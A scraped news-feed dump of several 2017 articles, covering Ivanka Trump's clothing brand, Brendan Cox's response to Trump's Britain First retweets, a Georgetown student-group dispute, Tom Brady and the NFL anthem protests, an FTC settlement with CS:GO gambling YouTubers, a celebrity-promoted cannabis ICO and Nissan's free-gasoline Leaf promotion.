As The Journal pointed out, Ivanka has regularly worn items that became available after March, rather than simply things she acquired prior to her White House employment. And Ivanka buys all of her clothes and accessories, rather than receiving them for free from her company, according to a source who spoke with The Journal. 

As The Journal pointed out, first ladies and celebrities of a similar stature, including first daughters and members of royal families, often cause sales and stock values of retailers and brands they wear to spike. But the profits from this free promotion don’t usually benefit them. 

While the brand’s sales shot up following the inauguration, online sales have reportedly since declined. And some retailers, including Nordstrom, have dropped the line, citing profitability concerns. In December, the brand opened its first brick and mortar shop, located in the lobby of Trump Tower in Manhattan, which has become a tourist attraction over the last year. 

NOW WATCH: Former White House photographer describes what is was like to capture Obama on the worst day of his presidency

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]]> https://briefnews.eu/ivanka-trump-is-promoting-her-own-brand-by-wearing-its-products-pushing-the-limits-of-ethics-laws/feed/ 0 Husband of British parliamentarian killed by ‘Britain First’ sympathizer likens Trump’s retweets to promoting the KKK https://briefnews.eu/husband-of-british-parliamentarian-killed-by-britain-first-sympathizer-likens-trumps-retweets-to-promoting-the-kkk/ https://briefnews.eu/husband-of-british-parliamentarian-killed-by-britain-first-sympathizer-likens-trumps-retweets-to-promoting-the-kkk/#respond Thu, 30 Nov 2017 06:18:59 +0000 http://briefnews.eu/husband-of-british-parliamentarian-killed-by-britain-first-sympathizer-likens-trumps-retweets-to-promoting-the-kkk/ jo coxReuters

  • The widower of a murdered British parliamentarian responded to President Donald Trump’s social-media interactions with the far-right group, Britain First on Tuesday night.
  • Brendan Cox suggested that Trump’s online behavior can only hurt the US in the long run.
  • British Prime Minister Theresa May scolded Trump over his retweets of anti-Muslim videos posted by Britain First leader Jayda Fransen, then Trump shot back at May, too.

Brendan Cox, the husband of a British parliamentarian who was murdered by a reported sympathizer of the British far-right group, Britain First, responded to President Donald Trump’s social-media interactions with the leader of that group Tuesday night.

“I think we probably got used to a degree of absurdity, of outrageous retweets and tweets from the president, but I think this felt like it was a different order,” Cox told CNN’s Anderson Cooper on Tuesday night.

“Here he was retweeting a felon, somebody who was convicted of religiously aggravated harassment of an organization that is a hate-driven organization on the extreme fringes of the far, far right of British politics.”

“This is like the president retweeting the Ku Klux Klan,” Cox said.

Trump earlier on Tuesday shared a string of anti-Muslim videos embedded in tweets from the far-right activist Jayda Fransen. The authenticity of those videos was called into question during a White House press conference on Tuesday afternoon, but press secretary Sarah Huckabee Sanders refused to acknowledge doubts about their veracity.

Cox spoke to Trump’s temperament in his interview with CNN Tuesday night: “This president has become a purveyor of hate and it’s time we all said enough is enough and we won’t tolerate that no matter what our political disagreements.”

British Prime Minister Theresa May scolded Trump over his retweets, and Trump shot back in a familiar way, using recent terror attacks in that part of the world to snap at May and the UK, one of America’s oldest and most steadfast allies.

Watch the segment below:

NOW WATCH: Vladimir Putin could secretly be one of the richest men in the world — an investigative reporter who spent 4 years in Russia explains

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]]> https://briefnews.eu/husband-of-british-parliamentarian-killed-by-britain-first-sympathizer-likens-trumps-retweets-to-promoting-the-kkk/feed/ 0 Georgetown student group targeted for promoting ‘hateful’ Catholic views on ‘sexual integrity’ https://briefnews.eu/georgetown-student-group-targeted-for-promoting-hateful-catholic-views-on-sexual-integrity/ https://briefnews.eu/georgetown-student-group-targeted-for-promoting-hateful-catholic-views-on-sexual-integrity/#respond Tue, 24 Oct 2017 23:51:21 +0000 http://briefnews.eu/georgetown-student-group-targeted-for-promoting-hateful-catholic-views-on-sexual-integrity/

A Catholic student group at Georgetown University has been accused by pro-choice activists of promoting hatred and intolerance for advocating a traditional view on marriage. If the organization is branded a “hate group,” it will lose its yearly funding of $ 250 from the university.

Love Saxa, the student group at Georgetown Catholic University that champions old-fashioned marriage between a man and a woman, and which delves into and exposes the alleged dangers of porn and generally promotes Catholic values, was catapulted into the media spotlight following accusations by “pro-choice” student activists that the Christian circle was a “hate group.”

The controversy was sparked late in September, when a student submitted a formal notice to the University Assistant Dean for Student Engagement, arguing that Love Saxa’s views on marriage are “hateful” and should thus be stripped off its funding, the University news outlet the Hoya reported.

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© David W Cerny

“Groups will not be eligible for access to benefits if their purpose or activities… foster hatred or intolerance of others because of their race, nationality, gender, religion, or sexual preferences,” the University rules read.

Love Saxa promotes marriage as a “monogamous and permanent union between a man and a woman,” and therefore infringes on the rights of the LGBT community with such a “limited” definition, according to its critics.

“Love Saxa does not deserve the benefit of university recognition,” the Hoya editorial board stated.

“As a group whose mission advocates against equal rights for the LGBTQ community, Love Saxa fosters intolerance.”

The group firmly denied the allegations that it “targets” anyone, stating that it simply promotes Catholic views and targeting the group as promoting “hate” would put the security of any student group expressing any beliefs at risk.

READ MORE: Satanic Temple trolls Christian bakers in ‘gay cake’ dispute

“Love Saxa exists to promote healthy and loving relationships at Georgetown. Our definition of ‘healthy relationships’ and ‘sexual integrity’ is synonymous with those of the Catholic Church, and therefore those of Georgetown University,” the group said in a Facebook statement.

There is still no decision on whether to defund the group, which if implemented, would see it being deprived of the modest sum of $ 250 it receives annually from the university.

The controversy was condemned by some online users, who said that targeting Love Saxa for its beliefs is a glaring example of hate and intolerance, while the threat of withholding the paltry funding was openly mocked.

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]]> https://briefnews.eu/georgetown-student-group-targeted-for-promoting-hateful-catholic-views-on-sexual-integrity/feed/ 0 Tom Brady shares Instagram photo promoting ‘brotherhood’ and ‘unity’ as Trump lashes out at the NFL https://briefnews.eu/tom-brady-shares-instagram-photo-promoting-brotherhood-and-unity-as-trump-lashes-out-at-the-nfl/ https://briefnews.eu/tom-brady-shares-instagram-photo-promoting-brotherhood-and-unity-as-trump-lashes-out-at-the-nfl/#respond Sun, 24 Sep 2017 18:47:45 +0000 http://briefnews.eu/tom-brady-shares-instagram-photo-promoting-brotherhood-and-unity-as-trump-lashes-out-at-the-nfl/ New England Patriots quarterback Tom Brady took to Instagram on Sunday to share a photo of himself and his teammate James White as President Donald Trump continues his spat with the NFL.

The photo was captioned, “Strength. Passion. Love. Brotherhood. Team. Unity. Commitment. Dedication. Determination. Respect. Loyalty. Work. #nflplayer.”

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During the national anthem before the Patriots game against the Houston Texans on Sunday, Brady linked arms with teammate Phillip Dorsett, stayed standing, and placed his hand on his heart:

tom brady national anthem patriots Bill BelichickAP Photo/Steven Senne

Trump tweeted on Sunday afternoon that, “Standing with locked arms is good, kneeling is not acceptable.”

Brady is the latest NFL player to promote unity in the wake of Trump’s suggestion that athletes who kneel during the national anthem as a form of protest should be fired from the league.

“If a player wants the privilege of making millions of dollars in the NFL, or other leagues, he or she should not be allowed to disrespect our Great American Flag (or Country) and should stand for the National Anthem,” Trump tweeted on Saturday. “If not, YOU’RE FIRED. Find something else to do!”

In addition to several football players, NFL commissioner Roger Goodell, and the NFL Players Association, Trump’s comments also prompted criticism from Patriots owner and close friend Robert Kraft. 

“I am deeply disappointed by the tone of the comments made by the president on Friday,” Kraft said, referring to Trump’s initial suggestion during a rally Friday night that players who kneel should be fired. “I am proud to be associated with so many players who make such tremendous contributions in positively impacting our communities. Their efforts, both on and off the field, help bring people together and make our community stronger.”

Kraft added that he supported his players’ right to protest.

“There is no greater unifier in this country than sports, and unfortunately, nothing more divisive than politics,” Kraft said. “I think our political leaders could learn a lot from the lessons of teamwork and the importance of working together toward a common goal. Our players are intelligent, thoughtful, and care deeply about our community and I support their right to peacefully affect social change and raise awareness in a manner that they feel is most impactful.”

Trump frequently bragged of his relationship with Kraft, Brady, and coach Bill Belichick both during the campaign and following his election, even reading letters of support from Brady and Belichick in the campaign’s closing days.

Allan Smith contributed reporting. 

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]]> https://briefnews.eu/tom-brady-shares-instagram-photo-promoting-brotherhood-and-unity-as-trump-lashes-out-at-the-nfl/feed/ 0 YouTubers escape fines for promoting their own CS:GO gambling site https://briefnews.eu/youtubers-escape-fines-for-promoting-their-own-csgo-gambling-site/ https://briefnews.eu/youtubers-escape-fines-for-promoting-their-own-csgo-gambling-site/#respond Sun, 10 Sep 2017 00:26:11 +0000 http://briefnews.eu/youtubers-escape-fines-for-promoting-their-own-csgo-gambling-site/

A pair of YouTubers will not face any fines for undisclosed promotion of a Counter-Strike: GO (CS: GO) gambling site they owned, as part of a settlement with the FTC announced this week.

Last May, Trevor “TmarTn” Martin and Thomas “Syndicate” Cassell came under fire for videos promoting CSGO Lotto, a site that lets players gamble using in-game skins as a form of currency. Those videos breathlessly promoted the site with titles like “HOW TO WIN $ 13,000 IN 5 MINUTES” but did not disclose that the site in question was itself owned by the video makers.

Martin and Cassell will not face fines as part of the settlement but have agreed to “clearly and conspicuously disclose any material connections with an endorser or between an endorser and any promoted product or service” in the future. That punishment is barely even a slap on the wrist for what the initial complaint called a “deceptive act or practice” that could mislead and harm consumers.

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]]> https://briefnews.eu/youtubers-escape-fines-for-promoting-their-own-csgo-gambling-site/feed/ 0 Rapper The Game is promoting the initial coin offering of a company looking to usher in the weed revolution https://briefnews.eu/rapper-the-game-is-promoting-the-initial-coin-offering-of-a-company-looking-to-usher-in-the-weed-revolution/ https://briefnews.eu/rapper-the-game-is-promoting-the-initial-coin-offering-of-a-company-looking-to-usher-in-the-weed-revolution/#respond Fri, 11 Aug 2017 21:22:20 +0000 http://briefnews.eu/rapper-the-game-is-promoting-the-initial-coin-offering-of-a-company-looking-to-usher-in-the-weed-revolution/ The Game rapper face shot Getty Images/David Livingston

  • The Game is promoting the initial coin offering, a blockchain-based fundraising method, of a tech company looking to transform the cannabis industry.
  • The market for ICOs has exploded to $ 1.8 billion, and a lot of people are calling it a bubble.

The Game, a hip-hop artist, is promoting a tech company that says it is going to use blockchain technology to revolutionize the weed industry.

Tech company Paragon is set to release information about itself and its planned initial coin offering, a red-hot cryptocurrency-based fundraising method, on August 15, according to a video tweeted by The Game on Thursday.

Standing alongside Paragon CEO, Jessica Versteeg, a former model and Miss Iowa 2014, the rapper said the firm was preparing to “revolutionize cannabis and the world.” Here’s a tweet of the video:

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Preparing a cannabis revolution with blockchain. @JessVerSteeg and I will tell you more about our upcoming ICO on August 15th @paragoncoin pic.twitter.com/xjGS9qAEF2

Initial coin offerings are a new funding vehicle using blockchain, the technology behind bitcoin. The market for so-called ICOs is exploding, with over $ 1.86 billion raised via the method since the beginning of the year, according to data from Autonomous NEXT, a financial technology analytics provider. The massive growth of the ICO market has many people in the space thinking it’s a bubble with many firms using the method as a way to raise vasts amount of money without offering an actual product. 

To raise money through an ICO, a company issues a new digital currency that can either be spent within its ecosystem, a bit like Disneyland dollars, or used to power part of the business, like the fuel you put in your car.

At this point, it isn’t exactly clear what the company will do, but Versteeg will hold a Facebook Live Q&A next week to give folks “a behind the scenes look at Paragon and how we’re disrupting the cryptocurrency space.”

Paragon’s website has no additional information aside from a mailing list sign-up form and links to their social media sites. 

Screen Shot 2017 08 11 at 1.34.27 PMAutonomous NEXT

This isn’t the first time a celebrity has backed an initial coin offering. Boxing champ Floyd Mayweather Jr. took to Instagram last month to promote an ICO for Stox.com, a blockchain startup. It ended up raising $ 33 million worth of Ethereum, according to a press representative for the firm. 

To be sure, the rapid growth of initial coin offerings has worried some Wall Streeters. 

Business Insider reached out to Schwark Satyavolu, a general partner at Trinity Ventures, a venture capital firm, to get his impression of Paragon and their plans to launch an ICO.  

“It made me smile,” he said. “The lack of information and visibility is quite minimal and stereotypical of these ICOs.”

He thinks an ICO is practically the only way a company could raise money with such limited information. 

“Fundamentally, it is because you have investors who feel like they are missing out on the next bitcoin,” Satyavolu said. “That’s getting people to jump in.”

Satyavolu thinks the ICO market could be a bubble akin to the mortgage bubble that ushered in the 2008 financial crisis.

“If investments continue at the current rate, this could become the next mortgage crisis with people – including institutional investors – losing hundreds of millions of dollars when (not if) many of these companies go out of business,” Satyavolu said. 

To be sure, Satyavolu doesn’t think ICOs are all scams. As an investor, he is skeptical of ICOs.

“These companies running ICOs could have the best intentions, but they might also have no idea what they’re doing,” he said. “And in many cases, you just don’t have the proper information to make an informed decision.”

As for Paragon, Versteeg told Business Insider that the firm is addressing “real problems in the cannabis industry” and that all the necessary information will be out for folks to examine next week.

“This isn’t another Potcoin,” she said referring to an other weed-focused cryptocurrency. “People will be pleasantly surprised with what we are doing.”

NOW WATCH: THE BOTTOM LINE: Historical crashes and where the market stands today

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]]> https://briefnews.eu/rapper-the-game-is-promoting-the-initial-coin-offering-of-a-company-looking-to-usher-in-the-weed-revolution/feed/ 0 Nissan is promoting the Leaf EV by … giving away gasoline? https://briefnews.eu/nissan-is-promoting-the-leaf-ev-by-giving-away-gasoline/ https://briefnews.eu/nissan-is-promoting-the-leaf-ev-by-giving-away-gasoline/#respond Tue, 06 Jun 2017 17:29:46 +0000 http://briefnews.eu/nissan-is-promoting-the-leaf-ev-by-giving-away-gasoline/

In an unusual marketing move, Nissan is promoting the Leafelectric car by going to the last place you would see one, a gas station. Actually, Nissan is going to multiple gas stations in the Northeast and Mid-Atlantic states, and the promotion involves giving people free gasoline. Nissan will “take over” gas stations and give away gasoline to people that come. The company will also have a Leaf on display.

It seems the idea is to give people a sense of what it’s like to not pay to keep your car fueled, which would be the case if they were driving a Leaf. For people who spend a lot on gas, maybe on a thirsty car or truck, this is probably a strong selling point. And getting that free tank of gas could hammer it home. Having spent a week in a Chevy Bolt EV recently, I can personally attest to the appeal of not having to buy gasoline to drive around, and I drive reasonably efficient cars. Of course, part of the appeal was simply not having to stop at a gas station, period.

Still, the idea of giving away gasoline to promote a gasoline-free car seems a bit counterintuitive. As our editor Jeremy Korzeniewski put it, “It’s like advertising a digital camera by giving away free film.” Just the idea of giving people more of something that they wouldn’t use if they had a different product feels odd, even if we understand the idea.

If you want to take advantage of this free fuel promotion, you can follow Nissan on its Facebook, Twitter, and Instagram accounts. The company will be going to stations in Massachusetts, Maryland, New York, Connecticut, and New Jersey.

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